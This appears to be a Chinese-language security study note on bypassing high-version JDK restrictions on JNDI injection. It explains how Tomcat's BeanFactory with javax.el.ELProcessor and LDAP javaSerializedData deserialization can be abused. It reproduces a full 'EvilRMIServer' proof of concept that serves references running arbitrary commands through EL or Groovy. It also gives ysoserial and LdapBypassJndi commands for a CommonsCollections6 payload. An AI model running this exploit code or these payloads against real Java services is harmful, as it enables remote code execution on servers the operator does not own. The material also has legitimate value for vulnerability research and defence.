高版本限制

调试分析一下就知道了,对于传来的Reference会先做一次检查,再调用getObjectInstance来获取类实例
image.png
调用栈:
image.png

bypass1

tomcat依赖

主要是依赖catalina.jar、el-api.jar、jasper-el.jar
把tomcat lib目录导入项目即可
image.png

非Mvn项目的情况下

分析

也就是通过本地的 factoryLocation 来构造代码执行,分析参考 https://www.cnblogs.com/Welk1n/p/11066397.html
先看org.apache.naming.factory.BeanFactory这个poc中的关键类,这个类实现了ObjectFactory接口,并且有实现了getObjectInstance函数,它的getObjectInstance函数做了下面这几件事情:
(有两个可控的参数,Object obj 和 Name name)

  1. 获取Reference对象,并调用它的无参数构造函数实例化其中的类
  2. 从Reference对象中获取key为”forceString”的content, 这个content为String类型,形式可以为如:”cmd=eval,p=run”
  3. 代码进一步对content处理, 安装”,”分割, “=”前面是参数,后面是方法.
  4. 通过反射执行3中处理得到的方法

所以现在如果可以找到一个beanClass,并且根据其字符串参数方法执行命令即可
可以找到javax.el.EL.Processor, 这个类有一个eval(String)方法可以执行EL表达式.

这里可以直接使用JNDIExploit中的exp:
image.png

或者 https://github.com/welk1n/JNDI-Injection-Bypass 中的POC:
同时下面还有Groovy < 2.0的Bypass

  1. package bypass;
  2. import com.sun.jndi.rmi.registry.*;
  3. import java.rmi.RemoteException;
  4. import java.rmi.registry.*;
  5. import javax.naming.*;
  6. import org.apache.naming.ResourceRef;
  7. public class EvilRMIServer {
  8. public CommandGenerator commandGenerator;
  9. public EvilRMIServer(Listener listener){
  10. commandGenerator = new CommandGenerator(listener);
  11. }
  12. /*
  13. * Need : Tomcat 8+ or SpringBoot 1.2.x+ in classpathbecause javax.el.ELProcessor.
  14. */
  15. public ReferenceWrapper execByEL() throws RemoteException, NamingException{
  16. ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
  17. ref.add(new StringRefAddr("forceString", "x=eval"));
  18. ref.add(new StringRefAddr("x", String.format(
  19. "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
  20. "\"java.lang.Runtime.getRuntime().exec('%s')\"" +
  21. ")",
  22. commandGenerator.getBase64CommandTpl()
  23. )));
  24. return new ReferenceWrapper(ref);
  25. }
  26. /*
  27. * Need : Tomcat and groovy in classpath.
  28. */
  29. public ReferenceWrapper execByGroovy() throws RemoteException, NamingException{
  30. ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
  31. ref.add(new StringRefAddr("forceString", "x=evaluate"));
  32. String script = String.format("'%s'.execute()", commandGenerator.getBase64CommandTpl());
  33. ref.add(new StringRefAddr("x",script));
  34. return new ReferenceWrapper(ref);
  35. }
  36. /**
  37. * TODO: Need more methods to bypass in different java app builded by JDK 1.8.0_191+
  38. */
  39. public static void main(String[] args) throws Exception{
  40. System.out.println("Creating evil RMI registry on port 1097");
  41. Registry registry = LocateRegistry.createRegistry(1097);
  42. String ip = args[0];
  43. System.out.println(ip);
  44. EvilRMIServer evilRMIServer = new EvilRMIServer(new Listener(ip,5555));
  45. System.setProperty("java.rmi.server.hostname",ip);
  46. registry.bind("ExecByEL",evilRMIServer.execByEL());
  47. registry.bind("ExecByGroovy",evilRMIServer.execByGroovy());
  48. }
  49. }

bypass2

通过LDAP反序列化Bypass.
Tools https://github.com/Firebasky/LdapBypassJndi/blob/main/README.zh-cn.md

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
原理:
image.png
如果LDAP返回的Java对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。

文章中给的POC : https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

这里直接用firebasky的工具:

在项目里加上cc3.1的依赖

java -jar .\yso.jar CommonsCollections6 “calc.exe” | base64 > calc.ser
然后
启动:java -jar .\LdapBypassJndi.jar 8080 .\calc.ser

Windows记得手动去一下换行

image.png

marshalsec似乎也可以直接用? // TODO

URLDNS打不通..

image.png